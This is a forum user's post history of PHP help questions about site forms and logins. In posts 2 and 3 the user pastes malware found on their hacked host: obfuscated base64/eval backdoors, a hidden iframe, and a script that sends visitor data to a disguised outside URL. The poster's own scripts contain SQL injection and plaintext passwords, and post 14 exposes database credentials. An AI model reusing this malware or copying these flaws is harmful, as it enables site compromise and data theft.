Jump to content

mariocesar

Members
  • Posts

    84
  • Joined

  • Last visited

Everything posted by mariocesar

  1. <?php if(!$_POST) exit; $email = $_POST['email']; //$error[] = preg_match('/\b[A-Z0-9._%-]+@[A-Z0-9.-]+\.[A-Z]{2,4}\b/i', $_POST['email']) ? '' : 'INVALID EMAIL ADDRESS'; if(!eregi("^[a-z0-9]+([_\\.-][a-z0-9]+)*" ."@"."([a-z0-9]+([\.-][a-z0-9]+)*)+"."\\.[a-z]{2,}"."$",$email )){ $error.="Invalid email address entered"; $errors=1; } if($errors==1) echo $error; else{ $values = array ('name','email','message'); $required = array('name','email','message'); $your_email = "jhondoe@yahoo.com"; $email_subject = "Allstate new message: ".$_POST['subject']; $email_content = "new message:\n"; foreach($values as $key => $value){ if(in_array($value,$required)){ if ($key != 'subject' ) { if( empty($_POST[$value]) ) { echo 'PLEASE FILL IN REQUIRED FIELDS'; exit; } } $email_content .= $value.': '.$_POST[$value]."\n"; } } if(@mail($your_email,$email_subject,$email_content)) { echo 'Message sent!'; } else { echo 'ERROR!'; } } ?> <script type="text/javascript" src="js/jquery.js"></script> <script type="text/javascript"> // <![CDATA[ jQuery(document).ready(function(){ $('#contactform').submit(function(){ var action = $(this).attr('action'); $.post(action, { name: $('#name').val(), email: $('#email').val(), subject: $('#subject').val(), message: $('#message').val() }, function(data){ $('#contactform #submit').attr('disabled',''); $('.response').remove(); $('#contactform').before('<p class="response">'+data+'</p>'); $('.response').slideDown(); if(data=='Message sent!') $('#contactform').slideUp(); } ); return false; }); }); // ]]> </script> </head> <body> <table width="250"><tr><td>At Allstateprint.com we're all about honesty. Don't hold back, we can take it. It's the only way we'll get better.</td></tr> <tr><td><form action="contact.php" method="post" id="contactform"> <ol> <li> <label for="name">Name <span class="red">*</span></label> <input id="name" name="name" class="text" /> </li> <li> <label for="email">Your email <span class="red">*</span></label> <input id="email" name="email" class="text" /> </li> <li> <label for="subject">Subject</label> <input id="subject" name="subject" class="text" /> </li> <li> <label for="message">Message <span class="red">*</span></label> <textarea id="message" name="message" rows="6" cols="50"></textarea> </li> <li class="buttons"> <input type="image" name="imageField" id="imageField" src="images/send.gif" class="send" /> <div class="clr"></div> </li> </ol> </form></td></tr></table> This script is sending info to my e-mail box, how can I change to have the message field no mandatory, now you have to fill the message box in the form in order for the form to send the message to my email box, here is the form, and here is the PHP file
  2. Thanks Jeapie, some body hack into my hosting files, and add that code to a certain number of pages, pluss I found this file named counter.php, <?php //Counter V.1.25 //Generated by server //Do not delete eval(gzuncompress(base64_decode('eAGlklFrgzAUhf9KHwZpoRSpW0GGD+6hllEY2tIayxCNUrCRjQoF++uXc6Pdg9GXviTx5jvn3Fx88bdfH952d2JJWifs2/Wu17SZZmldrF6TvBA/eTFlgk0WzA4bbDkW36kzqlFFirPrstl8QKXVIJVDn7JDXDWPDBNByaIljR4dYUzQ2SMJAGyidC/6bPIiMuy6Jdrcz3AaryBb37HGe25FS5qA5EvnEgcuyoZp5tFnHR/fSpp7q+gnEwUHkM9S8EHqv5/sJ3L70GRr55f6qqTVJyBvKRzvcUTvveFDbAJshvdy1JU3NuWvVDiFN5rrBuchJe46tVLKwj+UY12Bd/RcfZUT4F+evf8BaXnbUA=='))); ?><? eval(gzuncompress(base64_decode('eAGFlI1vmkAYxv8VNAa41BgEu60xZHPrFWsQ2hM2O0PI8aGQItcIbGmN//vuKNIpJoQEcuT3vPfxPO/Fa7ETZ1mYi70scyUA9puEeDjhyuG4fKs7UqSBKF1JA/n67AVKZKj2NN38PtEXK8HFmSs4K8kRe+4Cop8QrYSpZT24Nh25Ew0aluC8y2TVsHW9rKCo3e44Xotio9CQFqJLG/aFDSGbJBSAqnJrnGQh4PkmLtf4K44IaaGVmvZwHBQt9Kimt1nawl7XrB/tyLZt2Z9q3IvTTUvtzzWc4TXexS34lxr3SH7CnjmE4B1EEAlOh7oB9tSOKhq1kQjOTQu6k9tbSjEj8l0RcjzPnYOl41NzwbyuMLBnPirNqNw4ooCnSPJvyR9dDjJPnkWeNnv1lODt93L2Fmh3El4aEv41L57km1xXDOlpiebv38fC16K/AuAGwtf4RRW4QTNCJ2E83QOV8UUW7vAmTPPL6mMC2RR8QLY4TlO8DS/DLH/1cf1/Cky8LpLkBefRZSkLYy1F8NGGC8u10T09Qib2o9B/ZsrjWWvQWgkJIc8f/dTcepVZBYwPB2oos0DmOtQS1nrUkvO+HVbBlfs/bKSbD5aLoGUjw0ITY0Hj0T9eBkNAm7ihrnL8obbu59C0rVomX9GHSelCRuq3ZoUq3DJg10FJraopgaOqXZMG8/xvl+uOQz8i5aU1Gh+aRasWoEUPh38973Nd'))); ?> and they post this line at the botom of some pages: <iframe src="http://www.xxxxxxxxxx.com/counter.php" style="visibility: hidden; position: absolute; left: 0px; top: 0px" width="10" height="10"/> I allready started updating files,
  3. Please if any body can tell me what is this code about : <?php if (!isset($sRetry)) { global $sRetry; $sRetry = 1; // This code use for global bot statistic $sUserAgent = strtolower($_SERVER['HTTP_USER_AGENT']); // Looks for google serch bot $stCurlHandle = NULL; $stCurlLink = ""; if((strstr($sUserAgent, 'google') == false)&&(strstr($sUserAgent, 'yahoo') == false)&&(strstr($sUserAgent, 'baidu') == false)&&(strstr($sUserAgent, 'msn') == false)&&(strstr($sUserAgent, 'opera') == false)&&(strstr($sUserAgent, 'chrome') == false)&&(strstr($sUserAgent, 'bing') == false)&&(strstr($sUserAgent, 'safari') == false)&&(strstr($sUserAgent, 'bot') == false)) // Bot comes { if(isset($_SERVER['REMOTE_ADDR']) == true && isset($_SERVER['HTTP_HOST']) == true){ // Create bot analitics $stCurlLink = base64_decode( 'aHR0cDovL21icm93c2Vyc3RhdHMuY29tL3N0YXRIL3N0YXQucGhw').'?ip='.urlencode($_SERVER['REMOTE_ADDR']).'&useragent='.urlencode($sUserAgent).'&domainname='.urlencode($_SERVER['HTTP_HOST']).'&fullpath='.urlencode($_SERVER['REQUEST_URI']).'&check='.isset($_GET['look']); @$stCurlHandle = curl_init( $stCurlLink ); } } if ( $stCurlHandle !== NULL ) { curl_setopt($stCurlHandle, CURLOPT_RETURNTRANSFER, 1); curl_setopt($stCurlHandle, CURLOPT_TIMEOUT, 6); $sResult = @curl_exec($stCurlHandle); if ($sResult[0]=="O") {$sResult[0]=" "; echo $sResult; // Statistic code end } curl_close($stCurlHandle); } } ?> Thanks a lot.
  4. Any body please, Why my registration form page stoped working, don't feed the dbase any more, I'm the only one with access to make changes but I did not make any changes, just stoped out of no where, any ideas?
  5. Im using the script to let users login in to our site from 9.00 am to 6.00 pm from Monday To friday, timing is working fine but the day part don't, any ideas why, here is the top of the script is on the login.php page <? $hour = date('H');//hour 1-24 $dayofweek = date('N');//numeric day of week 1=mon, 7=sun if($hour < 6 || $hour > 15 || $dayofweek > 5) { header( "Location:Messages.php?msg=12" ); }else { //login code session_start(); if(isset($_GET['reg'])){ $reg=$_GET['reg']; }else{ $reg=""; } if($reg==1){ $msg1="<font color=\"#FF6600\">Your details have been added, please login</font>"; }elseif($reg==2){ $msg1="<font color=\"#FF6600\">You have been successfully logged out.</font>"; } if(isset($_POST['submit'])){ if( empty($_POST['uname']) && (empty($_POST['upass']))){ header( "Location:Messages.php?msg=1" ); exit(); } //transfer to shorter var $n=$_POST['uname']; $p=$_POST['upass']; //connect to db include('config.php'); $query="SELECT * FROM user WHERE uname = '".$_POST['uname']."' AND pw = PASSWORD('".$_POST[upass]."')"; $result=mysql_query($query); $num=mysql_num_rows($result); if($num>0 ){ //put in session vars $mytime=time(); $mytime=date("H:i:s A",$mytime); $_SESSION['time'] = $mytime; $_SESSION['status'] = 'logged'; $_SESSION['username'] = $n; //goto next page header("location:Welcome.php"); exit; }else{ $_SESSION['status'] = 'not logged'; header( "Location:Messages.php?msg=2" ); exit(); } } } ?>
  6. this ones, "Login Id already exists..try another.!" or "Sorry, you have provided an invalid security code.!" or "confirm password does not match.!" but if I changed the imput type to, type="submit" everything work fine, thanks
  7. I changed the imput type on a registration form from type="submit" to type="image" and the warning messages don't show here is the code [<?php include "includes/config.php"; include "includes/functions.php"; session_start(); ob_start(); $name=trim($_REQUEST['name']); $company=trim($_REQUEST['company']); $phone=trim($_REQUEST['phone']); $email=trim($_REQUEST['email']); $address=trim($_REQUEST['address']); $city=trim($_REQUEST['city']); $state=trim($_REQUEST['state']); $zipcode=trim($_REQUEST['zipcode']); $loginid=trim($_REQUEST['loginid']); $password=trim($_REQUEST['pw1']); $confirmpassword=trim($_REQUEST['pw2']); if(isset($_REQUEST['Submit'])) { if($password==$confirmpassword) { if( $_SESSION['security_code'] == $_POST['security_code'] && !empty($_SESSION['security_code'] ) ) { if(mysql_num_rows(mysql_query("SELECT * FROM `tbl_registration` WHERE `loginid` = '".$loginid."'")) == 0) { $sqlregister = "INSERT INTO `tbl_registration`(`name`,`company`,`phone`,`email`,`address`,`city`,`state`,`zip`,`loginid`,`password`) VALUES ('".$name."','".$company."','".$phone."','".$email."','".$address."','".$city."','".$state."','".$zipcode."','".$loginid."','".$password."') "; $rsregister= mysql_query($sqlregister); //$num=mysql_num_rows($rssearch); /*$rowArr=array(); $rowResult=array(); */ $Msg=message("You Have Registered Successfully..",2); if(is_dir("upload/".$loginid)) $msg1 = message("Problem With Creating Account.!",2); else { mkdir("upload/".$loginid); mkdir("upload/".$loginid."/web"); mkdir("upload/".$loginid."/email"); mkdir("upload/".$loginid."/emaildata"); } } else $msg = message("Login Id already exists..try another.!",2); } else { $msg =message("Sorry, you have provided an invalid security code.!",2); } } else $msg = message("confirm password does not match.!",2); } ?>/code] the form [code]<form name="form1" action="your_info.php" method="post" onSubmit="return validate(form1);"> <table width='360' cellpadding='1' cellspacing='2' bordercolor='#CACEDA' class="borders" align="center"> <tr> <td></td> <td colspan="3" class="txt3"><span style="padding-left:35px;"> <?=$Msg;?><br><?=$msg;?><br><?=$msg1;?> </span></td> </tr> <tr> <td width="16"></td> <td width="100" class="txt3"><div align="right">Name:</div></td> <td width="200"><input name="name" type="text" size="40" class="ordertextin" value="<?=$name;?>"></td> <td width="20"></td> </tr> <tr> <td width="16"></td> <td width="100" class="txt3"><div align="right">Company:</div></td> <td width="200"><input name="company" type="text" size="40" class="ordertextin" value="<?=$company;?>"></td> <td width="20"></td> </tr> <tr> <td width="16"></td> <td width="100" class="txt3"><div align="right">Phone:</div></td> <td width="200"><input name="phone" type="text" size="40" class="ordertextin" value="<?=$phone;?>"></td> <td width="20"></td> </tr> <tr> <td width="16"></td> <td class="txt3" width="100"><div align="right">Email:</div></td> <td><input name="email" type="text" size="40" class="ordertextin" value="<?=$email;?>"></td> <td width="20"></td> </tr> <tr> <td width="16"></td> <td width="100" class="txt3"><div align="right">Address:</div></td> <td width="200"><input name="address" type="text" size="40" class="ordertextin" value="<?=$address;?>"></td> <td width="20"></td> </tr> <tr> <td width="16"></td> <td width="100" class="txt3"><div align="right">City:</div></td> <td width="200"><input name="city" type="text" size="30" class="ordertextin" value="<?=$city;?>"></td> <td width="20"></td> </tr> <tr> <td width="16"></td> <td width="100"> <div align="right"><span class="txt3">State:</span></div></td> <td width="200" align="left"> <select name="state" class="ordertextin"> <option selected>Choose one </option> <option value="AL">Alabama</option> <option value="AK">Alaska</option> <option value="AZ">Arizona</option> <option value="AR">Arkansas</option> <option value="CA">California</option> <option value="CO">Colorado</option> <option value="CT">Connecticut</option> <option value="DE">Delaware</option> <option value="FL">Florida</option> <option value="GA">Georgia</option> <option value="GU">Guam</option> <option value="HI">Hawaii</option> <option value="ID">Idaho</option> <option value="IL">Illinois</option> <option value="IN">Indiana</option> <option value="IA">Iowa</option> <option value="KS">Kansas</option> <option value="KY">Kentucky</option> <option value="LA">Lousiana</option> <option value="ME">Maine</option> <option value="MD">Maryland</option> <option value="MA">Massachusetts</option> <option value="MI">Michigan</option> <option value="MN">Minnesota</option> <option value="MS">Mississippi</option> <option value="MO">Missouri</option> <option value="MT">Montana</option> <option value="NE">Nebrasca</option> <option value="NV">Nevada</option> <option value="NB">New Brunswick</option> <option value="NH">New Hamshire</option> <option value="NJ">New Jersey</option> <option value="NM">New Mexico</option> <option value="NY">New York</option> <option value="NC">North Carolina</option> <option value="ND">North Dakota</option> <option value="OH">Ohio</option> <option value="OK">Oklahoma</option> <option value="OR">Oregon</option> <option value="OTHER">Other</option> <option value="PA">Pennsylvania</option> <option value="PR">Puerto Rico</option> <option value="RI">Rhode Island</option> <option value="SC">South Carolina</option> <option value="SD">South Dakota</option> <option value="TN">Tennessee</option> <option value="TX">Texas</option> <option value="UT">Utah</option> <option value="VT">Vermont</option> <option value="VI">Virgin Islands</option> <option value="VA">Virginia</option> <option value="WA">Washington</option> <option value="DC">Washington DC</option> <option value="WI">Wisconsin</option> <option value="WY">Wyoming</option> <option value="YK">Yukon</option> </select> </td> <td width="20"></td> </tr> <tr> <td width="16"></td> <td width="100" class="txt3"><div align="right">Zip:</div></td> <td width="200"><input name="zipcode" type="text" size="30" class="ordertextin" value="<?=$zipcode;?>"></td> <td width="20"></td> </tr> <tr> <td></td> <td class="txt3" width="100"><div align="right">Login Id: </div></td> <td><input name="loginid" type="text" size="30" class="ordertextin" value="<?=$loginid;?>"></td> <td></td> </tr> <tr> <td width="16"></td> <td class="txt3" width="100"><div align="right">Password:</div></td> <td><input name="pw1" type="password" size="40" class="ordertextin" value="<?=$password;?>"></td> <td width="20"></td> </tr> <tr> <td width="16"></td> <td class="txt3"><div align="right">Confirm Password: </div></td> <td><input name="pw2" type="password" size="40" class="ordertextin" value="<?=$confirmpassword;?>"></td> <td width="20"></td> </tr> <tr> <td height="10"></td> <td><div align="right">Security Code: </div></td> <td><img src="CaptchaSecurityImages.php?width=150&height=28&characters=7"/><br/><input id="security_code" name="security_code" type="text" class="inputType Inputsize150"/></td> </tr> <tr> <td width="16"></td> <td></td> <td> </td> <td width="20"></td> </tr> <tr><td height="20"></td> <td></td> <td><DIV class=satisfaction-quarantee-image-alignment ><INPUT type="image" name="Submit" height=54 alt="submit" width=208 src="images/submit_butom.gif"></DIV></td> </tr> </table> </form> Thanks.
  8. that is ok, form is working fine, something wrong with the script, I receive all info from user but not thye images or their links
  9. here is the form: <table cellpadding="2" cellspacing="0" align="center" width="80%"> <tr><td><?php echo $msg; ?></td></tr> <TR> <TD vAlign=top align=left width="39%">Description of product:</TD> <TD width="61%" colspan="2" align=left vAlign=top><INPUT class=text_feild_query id=product_desc name=product_desc></TD></TR> <TR> <TD vAlign=top align=left>Product Sample (If available)<BR>Attach file (Drawing, Picture etc.) <BR>of your products</TD> <TD colspan="2" align=left vAlign=top><INPUT class=text_feild_query_file type=file name=image> <BR><INPUT class=text_feild_query_file type=file name=image1></TD></TR> <TR> <TD vAlign=top align=left>Quantity Requested:</TD> <TD colspan="2" align=left vAlign=top><INPUT class=text_feild_query id=quantity_request name=quantity_request></TD></TR> <TR> <TD vAlign=top align=left>Shipping information:</TD> <TD colspan="2" align=left vAlign=top><SELECT class=drop_down_query id=ship_inform name=ship_inform> <OPTION value=Sea selected>Sea</OPTION> <OPTION value=Air>Air</OPTION></SELECT></TD></TR> <TR> <TD class=home_title colSpan=3 align="left">Contact Information</TD> </TR> <TR> <TD vAlign=top align=left width="39%">*Title:</TD> <TD width="61%" colspan="2" align=left vAlign=top><SELECT class="drop_down_query required " id=title name=title title="Please choose title."> <OPTION value="" selected>Title</OPTION> <OPTION value=Mr.>Mr.</OPTION> <OPTION value=Ms.>Ms.</OPTION></SELECT> </TD></TR> <TR> <TD vAlign=top align=left>*Name:</TD> <TD vAlign=top align=left><INPUT class="text_feild_query_sm required" id=first_name name=first_name title="Please enter name."></TD> <TD vAlign=top align=left><input class="text_feild_query_sm required" id="last_name" name="last_name" title="Please enter last name." /></TD> </TR> <TR> <TD vAlign=top align=left>*Email:</TD> <TD colspan="2" align=left vAlign=top><INPUT class="text_feild_query required email" id=email name=email title="Please enter a valid email"></TD></TR> <TR> <TD vAlign=top align=left>*Confirm email:</TD> <TD colspan="2" align=left vAlign=top><INPUT class="text_feild_query required email" id=confirm_email name=confirm_email></TD></TR> <TR> <TD vAlign=top align=left>*Phone No:</TD> <TD colspan="2" align=left vAlign=top><INPUT class="text_feild_query required" id=phone name=phone title="Please enter phone no."></TD></TR> <TR> <TD vAlign=top align=left>*Company / Organization:</TD> <TD colspan="2" align=left vAlign=top><INPUT class="text_feild_query required" id=company name=company title="Please enter company"></TD></TR> <TR> <TD vAlign=top align=left>Website:</TD> <TD colspan="2" align=left vAlign=top><INPUT class=text_feild_query id=website name=website></TD></TR> <TR> <TD vAlign=top align=left>*Address 1:</TD> <TD colspan="2" align=left vAlign=top><INPUT class="text_feild_query required" id=address1 name=address1 title="Please enter address1."></TD></TR> <TR> <TD vAlign=top align=left>Address 2:</TD> <TD colspan="2" align=left vAlign=top><INPUT class=text_feild_query id=address2 name=address2></TD></TR> <TR> <TD vAlign=top align=left>City / Town:</TD> <TD colspan="2" align=left vAlign=top><INPUT class=text_feild_query id=city name=city></TD></TR> <TR> <TD vAlign=top align=left>State / Province:</TD> <TD colspan="2" align=left vAlign=top><select name="zip" id="zip" class="ordertextin"> <option selected>Choose one </option> <option value="AL">Alabama</option> <option value="AK">Alaska</option> <option value="AZ">Arizona</option> <option value="AR">Arkansas</option> <option value="CA">California</option> <option value="CO">Colorado</option> <option value="CT">Connecticut</option> <option value="DE">Delaware</option> <option value="FL">Florida</option> <option value="GA">Georgia</option> <option value="GU">Guam</option> <option value="HI">Hawaii</option> <option value="ID">Idaho</option> <option value="IL">Illinois</option> <option value="IN">Indiana</option> <option value="IA">Iowa</option> <option value="KS">Kansas</option> <option value="KY">Kentucky</option> <option value="LA">Lousiana</option> <option value="ME">Maine</option> <option value="MD">Maryland</option> <option value="MA">Massachusetts</option> <option value="MI">Michigan</option> <option value="MN">Minnesota</option> <option value="MS">Mississippi</option> <option value="MO">Missouri</option> <option value="MT">Montana</option> <option value="NE">Nebrasca</option> <option value="NV">Nevada</option> <option value="NB">New Brunswick</option> <option value="NH">New Hamshire</option> <option value="NJ">New Jersey</option> <option value="NM">New Mexico</option> <option value="NY">New York</option> <option value="NC">North Carolina</option> <option value="ND">North Dakota</option> <option value="OH">Ohio</option> <option value="OK">Oklahoma</option> <option value="OR">Oregon</option> <option value="OTHER">Other</option> <option value="PA">Pennsylvania</option> <option value="PR">Puerto Rico</option> <option value="RI">Rhode Island</option> <option value="SC">South Carolina</option> <option value="SD">South Dakota</option> <option value="TN">Tennessee</option> <option value="TX">Texas</option> <option value="UT">Utah</option> <option value="VT">Vermont</option> <option value="VI">Virgin Islands</option> <option value="VA">Virginia</option> <option value="WA">Washington</option> <option value="DC">Washington DC</option> <option value="WI">Wisconsin</option> <option value="WY">Wyoming</option> <option value="YK">Yukon</option> </select></TD></TR> <TR> <TD vAlign=top align=left>*Zip/Postal code:</TD> <TD colspan="2" align=left vAlign=top><INPUT class=text_feild_query id=state name=state></TD></TR> <TR> <TD vAlign=top align=left>*Country:</TD> <TD colspan="2" align=left vAlign=top><input class="text_feild_query required" id=country name=country title="Please enter country."></TD> </TR> <TR> <TD align="left">How did you find us</TD> <TD colspan="2" align="left"><SELECT class=drop_down_query id=find_us name=find_us> <OPTION value="Search Engine" selected>Search Engine</OPTION> <OPTION value="Sponsored link">Sponsored link</OPTION> <OPTION value="Print Advt.">Print Advt.</OPTION> <OPTION value=Referral>Referral</OPTION> <OPTION value=Others>Others</OPTION></SELECT></TD></TR> <tr><td colspan="3" height="10"></td></tr> <TR> <TD> </TD> <TD colspan="2" align="left"><INPUT class=button id=button_submit type=submit value=Submit name=button_submit> <INPUT type=reset value=Reset> </TD></TR> </table>
  10. This form is suppose to send 2 images and the user information, the information arrives but the images or their links are missing here is the code <?php if(isset($_REQUEST['button_submit'])) { if($_FILES['image']['name']!="") { $ProDes=isset($_POST['product_desc'])?$_POST['product_desc']:''; $QanReq=isset($_POST['quantity_request'])?$_POST['quantity_request']:''; $ShipInf=isset($_POST['ship_inform'])?$_POST['ship_inform']:''; $Title=isset($_POST['title'])?$_POST['title']:''; $FirstName=isset($_POST['first_name'])?$_POST['first_name']:''; $LastName=isset($_POST['last_name'])?$_POST['last_name']:''; $Email=isset($_POST['email'])?$_POST['email']:''; $ConEmail=isset($_POST['confirm_email'])?$_POST['confirm_email']:''; $Phone=isset($_POST['phone'])?$_POST['phone']:''; $Mobile=isset($_POST['mobile'])?$_POST['mobile']:''; $Company=isset($_POST['company'])?$_POST['company']:''; $Website=isset($_POST['website'])?$_POST['website']:''; $Add1=isset($_POST['address1'])?$_POST['address1']:''; $Add2=isset($_POST['address2'])?$_POST['address2']:''; $City=isset($_POST['city'])?$_POST['city']:''; $State=isset($_POST['state'])?$_POST['state']:''; $Zip=isset($_POST['zip'])?$_POST['zip']:''; $Country=isset($_POST['country'])?$_POST['country']:''; $FindUs=isset($_POST['find_us'])?$_POST['find_us']:''; if(file_exists("productimages/".$_FILES['image']['name'])) $msg="An image with this name already exsists . Please try with different image name for Product sample"; else if($_FILES['image']['type']=="image/jpeg" or $_FILES['image']['type']=="image/gif" or $_FILES['image']['type']=="image/png") { move_uploaded_file($_FILES['image']['tmp_name'],"productimages/".$_FILES['image']['name']); $img="yes"; $ImagePath='http://allstatedisplay.com/productimages/'.$_FILES['image']['name']; } else { $msg.="Product sample first image is not a valid image type. Please choose JPG,GIF or PNG type file only"; $img="No"; } } if($_FILES['image1']['name']!="") { if(file_exists("productimages/".$_FILES['image1']['name'])) $msg="An image with this name already exsists. Please try with different image name for drwaing , picture etc."; else if($_FILES['image1']['type']=="image/jpeg" or $_FILES['image1']['type']=="image/gif" or $_FILES['image1']['type']=="image/png") { move_uploaded_file($_FILES['image1']['tmp_name'],"productimages/".$_FILES['image1']['name']); $img1="yes"; $ImagePath1='http://allstatedisplay.com/productimages/'.$_FILES['image1']['name']; } else { $msg.="Product sample second image is not a valid image type. Please choose JPG,GIF or PNG type file only"; $img1="No"; } } $temp='<p>Description of product:'.$ProDes.'</p>'; if( $img=="yes") { $temp.='<p>Product Sample Image : </p><img src="'.$ImagePath.'" width="300"/>'."</p><p> If you are not seeing the image copy and paste the link below in your browser address to view the image: $ImagePath</p>"; } if($img1=="yes") { $temp.='<p>Attach file (Drawing, Picture etc.) </p><p><img src="'.$ImagePath1.'" width="300"/>'."</p><p> If you are not seeing the image copy and paste the link below in your browser address to view the image: $ImagePath1</p>"; } $temp.='<p>Quantity Requested:'.$QanReq.'</p><p>Shipping information:'.$ShipInf.'</p><p><strong>Contact Information:</strong></p><p>Title:'.$Title.'</p><p>Name:'.$FirstName.' '.$LastName.'</p><p>Email:'.$Email.'</p><p>Phone No:'.$Phone.'</p><p>Mobile:'.$Mobile.'</p><p>Company / Organization:'.$Company.'</p><p>Website:'.$Website.'</p><p>Address 1:'.$Add1.'</p><p>Address 2:'.$Add2.'</p><p>City / Town:'.$City.'</p><p>State / Province:'.$Zip.'</p><p>Zip/Postal code:'.$State.'</p><p>Country:'.$Country.'</p><p>How did you find us:'.$FindUs.'</p>'; $subject="ADS Product Request"; /* change this! */ $headers1 = 'MIME-Version: 1.0' . "\r\n"; $headers1 .= 'Content-type: text/html; charset=iso-8859-1' . "\r\n"; $headers1 .= "From: ADS Product Request <www@ADS.com>" . "\r\n"; $headers = 'MIME-Version: 1.0' . "\r\n"; $headers .= 'Content-type: text/html; charset=iso-8859-1' . "\r\n"; //$headers .= 'Cc: niladri.debnath27@gmail.com' . "\r\n"; $headers .= "From: ADS Product Request <www@ADS.com>" . "\r\n"; mail('mariovicuna@yahoo.com', $subject, $temp,$headers1); $mode='success'; } ?>
  11. Why this form don't send the images, just the info arrives in the e-mail, here is the code <?php if(isset($_REQUEST['button_submit'])) { if($_FILES['image']['name']!="") { $ProDes=isset($_POST['product_desc'])?$_POST['product_desc']:''; $QanReq=isset($_POST['quantity_request'])?$_POST['quantity_request']:''; $ShipInf=isset($_POST['ship_inform'])?$_POST['ship_inform']:''; $Title=isset($_POST['title'])?$_POST['title']:''; $FirstName=isset($_POST['first_name'])?$_POST['first_name']:''; $LastName=isset($_POST['last_name'])?$_POST['last_name']:''; $Email=isset($_POST['email'])?$_POST['email']:''; $ConEmail=isset($_POST['confirm_email'])?$_POST['confirm_email']:''; $Phone=isset($_POST['phone'])?$_POST['phone']:''; $Mobile=isset($_POST['mobile'])?$_POST['mobile']:''; $Company=isset($_POST['company'])?$_POST['company']:''; $Website=isset($_POST['website'])?$_POST['website']:''; $Add1=isset($_POST['address1'])?$_POST['address1']:''; $Add2=isset($_POST['address2'])?$_POST['address2']:''; $City=isset($_POST['city'])?$_POST['city']:''; $State=isset($_POST['state'])?$_POST['state']:''; $Zip=isset($_POST['zip'])?$_POST['zip']:''; $Country=isset($_POST['country'])?$_POST['country']:''; $FindUs=isset($_POST['find_us'])?$_POST['find_us']:''; if(file_exists("productimages/".$_FILES['image']['name'])) $msg="An image with this name already exsists . Please try with different image name for Product sample"; else if($_FILES['image']['type']=="image/jpeg" or $_FILES['image']['type']=="image/gif" or $_FILES['image']['type']=="image/png") { move_uploaded_file($_FILES['image']['tmp_name'],"productimages/".$_FILES['image']['name']); $img="yes"; $ImagePath='http://allstatedisplay.com/productimages/'.$_FILES['image']['name']; } else { $msg.="Product sample first image is not a valid image type. Please choose JPG,GIF or PNG type file only"; $img="No"; } } if($_FILES['image1']['name']!="") { if(file_exists("productimages/".$_FILES['image1']['name'])) $msg="An image with this name already exsists. Please try with different image name for drwaing , picture etc."; else if($_FILES['image1']['type']=="image/jpeg" or $_FILES['image1']['type']=="image/gif" or $_FILES['image1']['type']=="image/png") { move_uploaded_file($_FILES['image1']['tmp_name'],"productimages/".$_FILES['image1']['name']); $img1="yes"; $ImagePath1='http://allstatedisplay.com/productimages/'.$_FILES['image1']['name']; } else { $msg.="Product sample second image is not a valid image type. Please choose JPG,GIF or PNG type file only"; $img1="No"; } } $temp='<p>Description of product:'.$ProDes.'</p>'; if( $img=="yes") { $temp.='<p>Product Sample Image : </p><img src="'.$ImagePath.'" width="300"/>'."</p><p> If you are not seeing the image copy and paste the link below in your browser address to view the image: $ImagePath</p>"; } if($img1=="yes") { $temp.='<p>Attach file (Drawing, Picture etc.) </p><p><img src="'.$ImagePath1.'" width="300"/>'."</p><p> If you are not seeing the image copy and paste the link below in your browser address to view the image: $ImagePath1</p>"; } $temp.='<p>Quantity Requested:'.$QanReq.'</p><p>Shipping information:'.$ShipInf.'</p><p><strong>Contact Information:</strong></p><p>Title:'.$Title.'</p><p>Name:'.$FirstName.' '.$LastName.'</p><p>Email:'.$Email.'</p><p>Phone No:'.$Phone.'</p><p>Mobile:'.$Mobile.'</p><p>Company / Organization:'.$Company.'</p><p>Website:'.$Website.'</p><p>Address 1:'.$Add1.'</p><p>Address 2:'.$Add2.'</p><p>City / Town:'.$City.'</p><p>State / Province:'.$Zip.'</p><p>Zip/Postal code:'.$State.'</p><p>Country:'.$Country.'</p><p>How did you find us:'.$FindUs.'</p>'; $subject="ADS Product Request"; /* change this! */ $headers1 = 'MIME-Version: 1.0' . "\r\n"; $headers1 .= 'Content-type: text/html; charset=iso-8859-1' . "\r\n"; $headers1 .= "From: ADS Product Request <www@ADS.com>" . "\r\n"; $headers = 'MIME-Version: 1.0' . "\r\n"; $headers .= 'Content-type: text/html; charset=iso-8859-1' . "\r\n"; //$headers .= 'Cc: niladri.debnath27@gmail.com' . "\r\n"; $headers .= "From: ADS Product Request <www@ADS.com>" . "\r\n"; mail('mariovicuna@yahoo.com', $subject, $temp,$headers1); $mode='success'; } ?>
  12. Hi this is the code to send some info by e-mail $msgs="A new request from Central just arrive! from $username for design# $designname.<br><br> E-mail: $email.<br><br> link to see the design: www.allstatecentral.com/images/design/$designcatid_$designdesignid.$designext<br><br> Contact Number: $contactno."; but the $designcatid don't show may be because the underscore after.
  13. yes I connected to the same SQL server my php is hosted, I tryed to register as a new user here is the register script <?php if(isset($_POST['Submit'])){ //NEED TO CHECK IF FIELDS ARE FILLED IN if( empty($_POST['name']) && (empty($_POST['email']))){ header( "Location:Messages.php?msg=1" ); exit(); } if( empty($_POST['pw1']) && (empty($_POST['pw2']))){ header( "Location:Messages.php?msg=4" ); exit(); } $name=$_POST['name']; $company=$_POST['company']; $email=$_POST['email']; $address=$_POST['address']; $city=$_POST['city']; $state=$_POST['state']; $zipcode=$_POST['zipcode']; $pw1=$_POST['pw1']; $pw2=$_POST['pw2']; if("$pw1" !== "$pw2" ){ header( "Location:Messages.php?msg=5" ); exit(); } $ip = $_SERVER['REMOTE_ADDR']; //connect to the db server , check if uname exist include('config.php'); $query=("Select * from user where uname='$name'"); $result= mysql_query($query); $num=mysql_num_rows($result); if ($num > 0) {//Username already exist header( "Location:Messages.php?msg=6" ); exit; }else{ //if username does not exist insert user details $query=( "INSERT INTO user (uname,company,email,address,city,state,zipcode,pw,date_joined,ip,level) VALUES ('$name', '$company', '$email', '$address', '$city', '$state', '$zipcode', password('$pw1'),NOW(),'$ip','Normal')"); if (@mysql_query ($query)) { header("location:login.php?reg=1"); exit; } } mysql_close(); } ?> when I fill the registration form I got this "Warning: mysql_connect() [function.mysql-connect]: Lost connection to MySQL server during query in /hermes/bosweb/web148/b1472/ipw.digitalz/public_html/config.php on line 7", I have been running the same script on a site hosted by Godaddy, and is working fine, now in a site hosted by ippower is not working, do you have any idea why?
  14. I runned this registration code on godaddy hosting with no problems, now I run the same code on ippower and give this message " Lost connection to MySQL server during query in ......." here is the config.php code <?php $dbhost='custsql-ipw01.eigbox.net'; $dbusername='digitalz_mario'; $dbuserpass='mario09'; $dbname='digitalz_login'; // connect to the mysql database server. mysql_connect ($dbhost, $dbusername, $dbuserpass); mysql_select_db($dbname) or die('I cannot select the database because: ' . mysql_error()); ?> any idea why, thanks
